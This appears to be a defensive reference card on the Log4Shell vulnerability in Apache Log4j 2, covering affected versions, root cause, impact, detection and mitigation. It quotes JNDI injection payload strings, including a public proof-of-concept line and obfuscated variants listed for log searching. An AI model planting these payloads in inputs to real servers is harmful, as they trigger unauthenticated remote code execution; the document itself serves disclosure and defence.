Log4Shell
- Product
- Apache Log4j 2
- CVE
- CVE-2021-44228CVE-2021-45046
- Disclosed
- 2021-12-09
- CVSS
- 10
- Auth
- pre-auth
- CISA KEV
- yes
- Affected
- 2.0-beta9 through 2.14.1 (CVE-2021-44228); through 2.15.0 in non-default configs (CVE-2021-45046)
- Fixed
- 2.15.0 (partial), 2.16.0 / 2.12.2 (Java 7) / 2.3.1 (Java 6); 2.17.1 recommended
Summary
Log4j 2 evaluated ${...} lookups inside logged messages, including JNDI lookups that fetch and load remote Java objects. Any attacker-controlled string that got logged (a User-Agent, username, chat message) could make the server load attacker code. It is widely considered one of the most severe vulnerabilities ever disclosed because Log4j is embedded almost everywhere in the Java ecosystem.
Root cause
Message lookup substitution was enabled by default, so a logged string like ${jndi:ldap://host/a} triggered a JNDI lookup. JNDI over LDAP/RMI can return a reference to a remote class or a serialized object, which the JVM loads and instantiates. The first fix (2.15.0) still allowed lookups through Thread Context Map patterns, leading to CVE-2021-45046.
Impact
Unauthenticated remote code execution in any Java application that logs attacker-influenced data with a vulnerable Log4j 2 version, plus data exfiltration via DNS lookups (e.g. ${env:...}).
Public PoC
# Any field that reaches a Log4j logger call, e.g. a username or User-Agent:
${jndi:ldap://localhost:1389/a}Source: kozmer / log4j-shell-poc (README)
Detection
Search logs for ${jndi: and obfuscated variants (${${lower:j}ndi:, ${::-j}) and watch for unexpected outbound LDAP/RMI/DNS from servers. Inventory log4j-core JARs, including shaded and nested ones. Nuclei template CVE-2021-44228 and many dedicated scanners exist.
Mitigation
Upgrade log4j-core to 2.17.1+ (or 2.12.4 / 2.3.2 for old Java). If you cannot upgrade, remove JndiLookup.class from the JAR; formatMsgNoLookups alone does not cover CVE-2021-45046.